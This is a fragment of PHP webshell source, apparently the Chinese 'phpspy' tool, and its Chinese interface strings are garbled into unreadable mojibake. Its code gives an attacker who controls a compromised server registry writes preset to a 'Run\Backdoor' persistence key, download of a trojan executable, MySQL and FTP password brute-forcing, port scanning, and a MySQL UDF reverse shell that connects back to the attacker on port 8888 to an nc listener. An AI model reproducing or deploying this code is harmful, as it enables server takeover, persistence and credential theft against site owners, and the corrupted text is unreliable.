|
||
<?php
|
||
}//end shell
|
||
|
||
elseif ($_GET['action'] == "reg") {
|
||
$action = '?action=reg';
|
||
$regname = isset($_POST['regname']) ? $_POST['regname'] : 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber';
|
||
$registre = isset($_POST['registre']) ? $_POST['registre'] : 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Backdoor';
|
||
$regval = isset($_POST['regval']) ? $_POST['regval'] : 'c:\winnt\backdoor.exe';
|
||
$delregname = $_POST['delregname'];
|
||
$tb->tableheader();
|
||
$tb->formheader($action,'<27><>ȡע<C8A1><D7A2><EFBFBD><EFBFBD>');
|
||
$tb->tdbody('<27><>ֵ: '.$tb->makeinput('readregname',$regname,'','text','100').' '.$tb->makeinput('regread','<27><>ȡ','','submit'),'center','2','50');
|
||
echo "</form>";
|
||
|
||
$tb->formheader($action,'д<><D0B4>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>');
|
||
$cacheregtype = array('REG_SZ'=>'REG_SZ','REG_BINARY'=>'REG_BINARY','REG_DWORD'=>'REG_DWORD','REG_MULTI_SZ'=>'REG_MULTI_SZ','REG_EXPAND_SZ'=>'REG_EXPAND_SZ');
|
||
$tb->tdbody('<27><>ֵ: '.$tb->makeinput('writeregname',$registre,'','text','56').' <20><><EFBFBD><EFBFBD>: '.$tb->makeselect(array('name'=>'regtype','option'=>$cacheregtype,'selected'=>$regtype)).' ֵ: '.$tb->makeinput('regval',$regval,'','text','15').' '.$tb->makeinput('regwrite','д<><D0B4>','','submit'),'center','2','50');
|
||
echo "</form>";
|
||
|
||
$tb->formheader($action,'ɾ<><C9BE>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>');
|
||
$tb->tdbody('<27><>ֵ: '.$tb->makeinput('delregname',$delregname,'','text','100').' '.$tb->makeinput('regdelete','ɾ<><C9BE>','','submit'),'center','2','50');
|
||
echo "</form>";
|
||
$tb->tablefooter();
|
||
}//end reg
|
||
elseif ($_GET['action'] == "downloads"){
|
||
$action = '?action=dir';
|
||
$tb->tableheader();
|
||
$tb->formheader($action,'http<74>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ģʽ');
|
||
$tb->tdbody('<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD>ܰ<EFBFBD>һЩС<D0A9><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>http<74><70>ʽ<EFBFBD><CABD><EFBFBD>ص<EFBFBD><D8B5>˷<EFBFBD><CBB7><EFBFBD><EFBFBD><EFBFBD>','center');
|
||
$tb->tdbody('<27>ļ<EFBFBD>λ<EFBFBD><CEBB>: '.$tb->makeinput('durl','http://google.com/muma.exe','','text','70').'<br><3E><><EFBFBD>ص<EFBFBD>:'.$tb->makeinput('path','./muma.exe','','text','60').''.$tb->makehidden('do','downloads').''.$tb->makeinput('','<27><><EFBFBD><EFBFBD>','','submit'),'center','1','35');
|
||
echo "</form>";
|
||
$tb->tdbody('ע<><D7A2>,<2C><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>̫<EFBFBD><CCAB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӱ<EFBFBD><D3B0>ִ<EFBFBD><D6B4><EFBFBD>ٶ<EFBFBD>.','center');
|
||
$tb->tablefooter();
|
||
}
|
||
elseif ($_GET['action'] == "mix"){
|
||
$action = '?action=dir';
|
||
$tb->tableheader();
|
||
$tb->formheader($action,'<27><>ѹ<EFBFBD><D1B9>mix.dll<6C>ļ<EFBFBD>');
|
||
$tb->tdbody('<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>phpspy<70><79><EFBFBD><EFBFBD>mix.dll<6C><6C>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>','center');
|
||
$tb->tdbody('<27><>ѹ<EFBFBD><D1B9>Ϊ: '.$tb->makeinput('mixto','./mix.dll','','text','70').''.$tb->makehidden('action','mix').''.$tb->makeinput('','unzip','','submit'),'center','1','35');
|
||
echo "</form>";
|
||
$tb->tablefooter();
|
||
}
|
||
elseif ($_GET['action'] == "crack"){
|
||
$action = '?action=dir';
|
||
$tb->tableheader();
|
||
$tb->tdbody('<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>ͻ<EFBFBD><CDBB>һЩ<D2BB>ر<EFBFBD><D8B1>ĵط<C4B5><D8B7><EFBFBD><EFBFBD><D7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>','center');
|
||
if($type=="crack"){
|
||
$tb->formheader($action,'<27><><EFBFBD><EFBFBD><EFBFBD>ƽ<EFBFBD>mysql<71><6C>ftp<74><70><EFBFBD><EFBFBD> <a href="?action=crack">[Mysql<71><6C><EFBFBD><EFBFBD>]</a>');
|
||
$tb->tdbody('<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һЩ<D2BB><D0A9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>mysql<71><6C>½<EFBFBD><C2BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƽ⡣','center');
|
||
$tb->tdbody('host: '.$tb->makeinput('host','localhost','','text','12').' <73>ʺ<EFBFBD>'.$tb->makeinput('user','root','','text','12').''.$tb->makehidden('do','crack').' <3B>ֵ<EFBFBD>:'.$tb->makeinput('passfile','./password.txt','','text','20').' һ<><D2BB><EFBFBD><EFBFBD>̽:'.$tb->makeinput('onetime','100','','text','6').'<27><> '.$tb->makeinput('','crack','','submit'),'center','1','35');
|
||
$tb->tdbody('MYSQL:<input type="radio" name="ctype" value="mysql" checked> Ftp:<input type="radio" name="ctype" value="ftp">','center');
|
||
echo "</form>";
|
||
if(getphpcfg("allow_url_fopen")=="Yes") $temp = "<22><>Զ<EFBFBD><D4B6><EFBFBD>ļ<EFBFBD>";
|
||
$tb->tdbody('<27>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>'.$temp.'<27><>Ftp<74><70><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƽ<EFBFBD><C6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ѿ<EFBFBD>ͨ<EFBFBD><CDA8><EFBFBD><EFBFBD>','center');
|
||
$tb->formheader($action,'<27>˿<EFBFBD>ɨ<EFBFBD><C9A8>');
|
||
$tb->tdbody('<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Խ<EFBFBD><D4BD>ж˿ڵļ<DAB5><C4BC><EFBFBD>ɨ<EFBFBD>衣','center');
|
||
$tb->tdbody('host: '.$tb->makeinput('host','127.0.0.1',''.$tb->makehidden('do','port').'','text','12').' <3B>˿ڱ<CBBF>:'.$tb->makeinput('port',''.$admin[port].'','','text','60').'','center','1','35');
|
||
$tb->tdbody(''.$tb->makeinput('','<27><><EFBFBD>ж˿<D0B6>ɨ<EFBFBD><C9A8>','','submit').'','center');
|
||
echo "</form>";
|
||
$tb->tdbody('<27>˿ڱ<CBBF><DAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>Ķ˿<C4B6><CBBF>ö<EFBFBD><C3B6>Ÿ<EFBFBD><C5B8><EFBFBD>!','center');
|
||
$tb->tableheader();
|
||
}else{
|
||
$tb->formheader("".$action."\" enctype=\"multipart/form-data",'ʹ<><CAB9>Mysql<71>ϴ<EFBFBD><CFB4>ļ<EFBFBD> <a href="?action=crack&type=crack">[Crack<63><6B><EFBFBD><EFBFBD>]</a>');
|
||
$tb->tdbody('<27><><EFBFBD><EFBFBD>Mysql<71><6C><EFBFBD><EFBFBD><EFBFBD>ʺŰ<CABA><C5B0>ļ<EFBFBD><C4BC><EFBFBD>mysql<71><6C>Ȩ<EFBFBD><EFBFBD><DEB5><EFBFBD>WebshellȨ<6C>ޱ<EFBFBD><DEB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD>ĵط<C4B5>','center');
|
||
$tb->tdbody('Host: '.$tb->makeinput('host','localhost','','text','16').'User: '.$tb->makeinput('user','root','','text','16').'PASS: '.$tb->makeinput('password','','','text','16').'db: '.$tb->makeinput('database','mysql.user','','text','16').'upto: '.$tb->makeinput('uppath','c:/','','text','16').''.$tb->makehidden('action','mysqlup'),'center','1','35');
|
||
$tb->tdbody('<27>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>: '.$tb->makeinput('upname','','','text','16').'ѡ<><D1A1><EFBFBD>ļ<EFBFBD>: '.$tb->makeinput('upfile','','','file','26').''.$tb->makeinput('','upload','','submit'),'center','1','35');
|
||
echo "</form>";
|
||
$tb->tdbody('ò<><C3B2>ֻҪ<D6BB><D2AA>fileȨ<65><EFBFBD><DEB5>ʺžͿ<C5BE><CDBF><EFBFBD><EFBFBD><EFBFBD>,<2C><>д<EFBFBD>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊԭ<CEAA><D4AD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>.','center');
|
||
$tb->formheader($action,'<27><><EFBFBD><EFBFBD>Mysql<71><6C><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>');
|
||
$tb->tdbody('<27><><EFBFBD><EFBFBD>Mysql<71><6C><EFBFBD><EFBFBD><EFBFBD>ʺ<EFBFBD><CABA><EFBFBD><EFBFBD><EFBFBD>Webshell<6C><6C><EFBFBD>ܶ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD>ص<EFBFBD><D8B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> <20><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD> <input type="checkbox" name="rardown" value="yes" onclick="javascript:alert(\'ʹ<>ô˹<C3B4><CBB9>ܵ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>RARѹ<52><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>!\')"> ','center');
|
||
$tb->tdbody('Host: '.$tb->makeinput('host','localhost','','text','16').'User: '.$tb->makeinput('user','root','','text','16').'PASS: '.$tb->makeinput('password','','','text','16').''.$tb->makehidden('action','mysqldown').'<27>ļ<EFBFBD>: '.$tb->makeinput('filename','C:/windows/php.ini','','text','26').''.$tb->makeinput('','download','','submit'),'center','1','35');
|
||
echo "</form>";
|
||
$tb->tdbody('ò<><C3B2>ֻҪ<D6BB><D2AA>fileȨ<65><EFBFBD><DEB5>ʺžͿ<C5BE><CDBF><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD>ٿ<EFBFBD><D9BF>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD>.','center');
|
||
$tb->tdbody('WindowsĬ<73><C4AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>MysqlΪSystemȨ<6D>ޣ<EFBFBD><DEA3><EFBFBD>Linuxϵͳ<CFB5><CDB3>Ȩ<EFBFBD><EFBFBD><DEB2>ߡ<EFBFBD>.','center');
|
||
}
|
||
$tb->tablefooter();
|
||
}
|
||
elseif ($_GET['action'] == "search"){
|
||
$action = '?dir='.$dir.'';
|
||
$tb->tableheader();
|
||
$tb->formheader($action,'<27>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>');
|
||
$tb->tdbody('<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD>ܲ<EFBFBD><DCB2><EFBFBD>һ<EFBFBD><D2BB>Ŀ¼<C4BF>µ<EFBFBD><C2B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Źؼ<C5B9><D8BC><EFBFBD>!','center');
|
||
$tb->tdbody('<27>ļ<EFBFBD>λ<EFBFBD><CEBB>: '.$tb->makeinput('path',''.$nowpath.'','','text','70').'<br><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:'.$tb->makeinput('oldkey','<27>¼<EFBFBD>','','text','60').''.$tb->makehidden('do','search').'<br> <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><input type="checkbox" name="type" value="list" onclick="javascript:alert(\'ѡ<><D1A1><EFBFBD>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>г<EFBFBD><D0B3>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>Ķ<EFBFBD><C4B6><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ж<EFBFBD><D0B6><EFBFBD><EFBFBD>н<EFBFBD><D0BD>бȶ<D0B1>\\n\\n<><6E>ʽΪ:[<5B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>]<5D><><EFBFBD><EFBFBD>[12/99],<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>з<EFBFBD><D0B7><EFBFBD>.\\n\\n<>˹<EFBFBD><CBB9>ܿ<EFBFBD><DCBF>ܻ<EFBFBD><DCBB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>ʱ,<2C>뿼<EFBFBD><EBBFBC>ʹ<EFBFBD><CAB9>,û<>пɶ<D0BF>Ȩ<EFBFBD><EFBFBD><DEBD><EFBFBD><EFBFBD><EFBFBD>!\')"> (<28>˹<EFBFBD><CBB9>ܺ<EFBFBD><DCBA><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ܻ<EFBFBD>Ӱ<EFBFBD><D3B0>ִ<EFBFBD><D6B4><EFBFBD>ٶȣ<D9B6><C8A3><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD>Ϲر<CFB9>!) <br><3E>ʵ<EFBFBD><CAB5><EFBFBD>ȡ:<input type="checkbox" name="type2" value="getpath" onclick="javascript:alert(\'ѡ<><D1A1><EFBFBD>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>г<EFBFBD><D0B3>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD>ü<EFBFBD><C3BC><EFBFBD><EFBFBD>趨<EFBFBD><E8B6A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵIJ<DAB5><C4B2><EFBFBD><EFBFBD>ַ<EFBFBD>..\\n\\n<><6E>ȡ<EFBFBD>˹<EFBFBD><CBB9>ܲ<EFBFBD><DCB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD><C6B6><EFBFBD><EFBFBD>ҵ<EFBFBD><D2B5><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ϼ<EFBFBD><CFBC>ɶ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>....\\n\\n<>˹<EFBFBD><CBB9>ܿ<EFBFBD><DCBF>ܻ<EFBFBD><DCBB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>ʱ,<2C>뿼<EFBFBD><EBBFBC>ʹ<EFBFBD><CAB9>,û<>пɶ<D0BF>Ȩ<EFBFBD><EFBFBD><DEBD><EFBFBD><EFBFBD><EFBFBD>!\')"> <20><>ȡ<EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD>ǰ'.$tb->makeinput('beline','0','','text','3').'<27><><EFBFBD>ַ<EFBFBD> '.$tb->makehidden('dir',''.$dir.'').'<27><><EFBFBD>ؼ<EFBFBD><D8BC>ʺ<EFBFBD><CABA><EFBFBD>'.$tb->makeinput('endline','10','','text','3').'<27><><EFBFBD>ַ<EFBFBD>... '.$tb->makehidden('dir',''.$dir.'').''.$tb->makeinput('','<27><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>','','submit'),'center','1','35');
|
||
echo "</form>";
|
||
$tb->tdbody('<27><><EFBFBD><EFBFBD>̫<EFBFBD><CCAB><EFBFBD><EFBFBD>Ŀ¼<C4BF>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Һò<D2BA><C3B2><EFBFBD><EFBFBD><EFBFBD>.<2E><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٶȻ<D9B6><C8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ[<5B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F>ܹ<EFBFBD><DCB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>]','center');
|
||
$tb->tablefooter();
|
||
}
|
||
elseif ($_GET['action'] == "proxy") {
|
||
$action = '?action=proxy';
|
||
$tb->tableheader();
|
||
$tb->formheader($action,'<27><><EFBFBD>ߴ<EFBFBD><DFB4><EFBFBD>','proxyframe');
|
||
$tb->tdbody('<br><ul><li><3E>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD>ܽ<EFBFBD>ʵ<EFBFBD>ּ<D6BC> HTTP <20><><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾʹ<CABE><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD>ͼƬ<CDBC><C6AC><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD>CSS<53><53>ʽ<EFBFBD><CABD>.</li><li><3E>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD>ܿ<EFBFBD><DCBF><EFBFBD>ͨ<EFBFBD><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF>URL,<2C><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> SQL Injection ̽<><CCBD><EFBFBD>Լ<EFBFBD>ijЩ<C4B3><D0A9><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD>.</li><li><3E>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> URL,<2C><>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD>IP<49><50>¼<EFBFBD><C2BC> : '.gethostbyname($_SERVER['SERVER_NAME']).'</li></ul>','left');
|
||
$tb->tdbody('URL: '.$tb->makeinput('url','about:blank','','text','100').' '.$tb->makeinput('','<27><><EFBFBD><EFBFBD>','','submit'),'center','1','40');
|
||
$tb->tdbody('<iframe name="proxyframe" frameborder="0" width="765" height="400" marginheight="0" marginwidth="0" scrolling="auto" src="about:blank"></iframe>');
|
||
echo "</form>";
|
||
$tb->tablefooter();
|
||
}//end proxy
|
||
|
||
elseif ($_GET['action'] == "sql") {
|
||
$action = '?action=sql';
|
||
|
||
$servername = isset($_POST['servername']) ? $_POST['servername'] : 'localhost';
|
||
$dbusername = isset($_POST['dbusername']) ? $_POST['dbusername'] : 'root';
|
||
$dbpassword = $_POST['dbpassword'];
|
||
$dbname = $_POST['dbname'];
|
||
$sql_query = $_POST['sql_query'];
|
||
if($type=="fun"){
|
||
$sql_query = "CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C:\\\Winnt\\\Mix.dll';
|
||
select Mixconnect('".$_SERVER['REMOTE_ADDR']."','8888');/*<2A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>*/
|
||
/*<2A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4> nc -vv -l -p 8888*/";
|
||
}
|
||
$tb->tableheader();
|
||
$tb->formheader($action,'ִ<><D6B4> SQL <20><><EFBFBD><EFBFBD>');
|
||
$tb->tdbody('Host: '.$tb->makeinput('servername',$servername,'','text','20').' User: '.$tb->makeinput('dbusername',$dbusername,'','text','15').' Pass: '.$tb->makeinput('dbpassword',$dbpassword,'','text','15').' DB: '.$tb->makeinput('dbname',$dbname,'','text','15').' '.$tb->makeinput('connect','<27><><EFBFBD><EFBFBD>','','submit'));
|
||
$tb->tdbody($tb->maketextarea('sql_query',$sql_query,'85','10'));
|
||
$tb->makehidden('do','query');
|
||
$tb->formfooter('1','30');
|
||
}//end sql query
|
||
|
||
elseif ($_GET['action'] == "sqlbak") {
|
||
$action = '?action=sqlbak';
|
||
$servername = isset($_POST['servername']) ? $_POST['servername'] : 'localhost';
|
||
$dbusername = isset($_POST['dbusername']) ? $_POST['dbusername'] : 'root';
|
||
$dbpassword = $_POST['dbpassword'];
|
||
$dbname = $_POST['dbname'];
|
||
$tb->tableheader();
|
||
$tb->formheader($action,'<27><><EFBFBD><EFBFBD> MySQL <20><><EFBFBD>ݿ<EFBFBD>');
|
||
$tb->tdbody('Host: '.$tb->makeinput('servername',$servername,'','text','20').' User: '.$tb->makeinput('dbusername',$dbusername,'','text','15').' Pass: '.$tb->makeinput('dbpassword',$dbpassword,'','text','15').' DB: '.$tb->makeinput('dbname',$dbname,'','text','15').' '.$tb->makeinput('connect','<27><><EFBFBD><EFBFBD>','','submit'));
|
||
@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname);
|
||
$tables = @mysql_list_tables($dbname);
|
||
while ($table = @mysql_fetch_row($tables)) {
|
||
$cachetables[$table[0]] = $table[0];
|
||
}
|
||
@mysql_free_result($tables);
|
||
if (empty($cachetables)) {
|
||
$tb->tdbody('<b><3E><>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD> or <20><>ǰ<EFBFBD><C7B0><EFBFBD>ݿ<EFBFBD>û<EFBFBD><C3BB><EFBFBD>κ<EFBFBD><CEBA><EFBFBD><EFBFBD>ݱ<EFBFBD></b>');
|
||
} else {
|
||
$tb->tdbody('<table border="0" cellpadding="3" cellspacing="1"><tr><td valign="top"><3E><>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD>:</td><td>'.$tb->makeselect(array('name'=>'table[]','option'=>$cachetables,'multiple'=>1,'size'=>15,'css'=>1)).'</td></tr><tr nowrap><td><input type="radio" name="backuptype" value="server" checked> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>:</td><td>'.$tb->makeinput('path',$pathname.'/'.$_SERVER['HTTP_HOST'].'_MySQL.sql','','text','50').'</td></tr><tr nowrap><td colspan="2"><input type="radio" name="backuptype" value="download"> ֱ<><D6B1><EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD> (<28>ʺ<EFBFBD><CABA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD>)</td></tr></table>');
|
||
$tb->makehidden('do','backupmysql');
|
||
$tb->formfooter('0','30');
|
||
}
|
||
$tb->tablefooter();
|
||
@mysql_close();
|
||
}//end sql backup
|
||
|
||
elseif ($_GET['action'] == "phpenv") {
|
||
$user = " <a href=\"?action=nowuser\" target=\"_blank\"><3E><><EFBFBD><EFBFBD>crush<73><68><EFBFBD>˻<EFBFBD>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD></a> ";
|
||
$upsize=get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϴ<EFBFBD>";
|
||
$adminmail=(isset($_SERVER['SERVER_ADMIN'])) ? "<a href=\"mailto:".$_SERVER['SERVER_ADMIN']."\">".$_SERVER['SERVER_ADMIN']."</a>" : "<a href=\"mailto:".get_cfg_var("sendmail_from")."\">".get_cfg_var("sendmail_from")."</a>";
|
||
if ($dis_func == "") {
|
||
$dis_func = "No";
|
||
}else {
|
||
$dis_func = str_replace(" ","<br>",$dis_func);
|
||
$dis_func = str_replace(",","<br>",$dis_func);
|
||
}
|
||
$phpinfo=(!eregi("phpinfo",$dis_func)) ? "Yes" : "No";
|
||
$info = array(
|
||
0 => array("<22><>ǰphp<68><70><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD>",$user),
|
||
1 => array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ",PHP_OS),
|
||
2 => array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>",date("Y<><59>m<EFBFBD><6D>d<EFBFBD><64> h:i:s",time())),
|
||
3 => array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>","<a href=\"http://".$_SERVER['SERVER_NAME']."\" target=\"_blank\">".$_SERVER['SERVER_NAME']."</a>"),
|
||
4 => array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49><50>ַ",gethostbyname($_SERVER['SERVER_NAME'])),
|
||
5 => array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>",$_SERVER['HTTP_ACCEPT_LANGUAGE']),
|
||
6 => array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>",$_SERVER['SERVER_SOFTWARE']),
|
||
7 => array("Web<65><62><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD>",$_SERVER['SERVER_PORT']),
|
||
8 => array("PHP<48><50><EFBFBD>з<EFBFBD>ʽ",strtoupper(php_sapi_name())),
|
||
9 => array("PHP<48>汾",PHP_VERSION),
|
||
10 => array("<22><><EFBFBD><EFBFBD><EFBFBD>ڰ<EFBFBD>ȫģʽ",getphpcfg("safemode")),
|
||
11 => array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ա",$adminmail),
|
||
12 => array("<22><><EFBFBD>ļ<EFBFBD>·<EFBFBD><C2B7>",__FILE__),
|
||
13 => array("<22><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9> URL <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD> allow_url_fopen",getphpcfg("allow_url_fopen")),
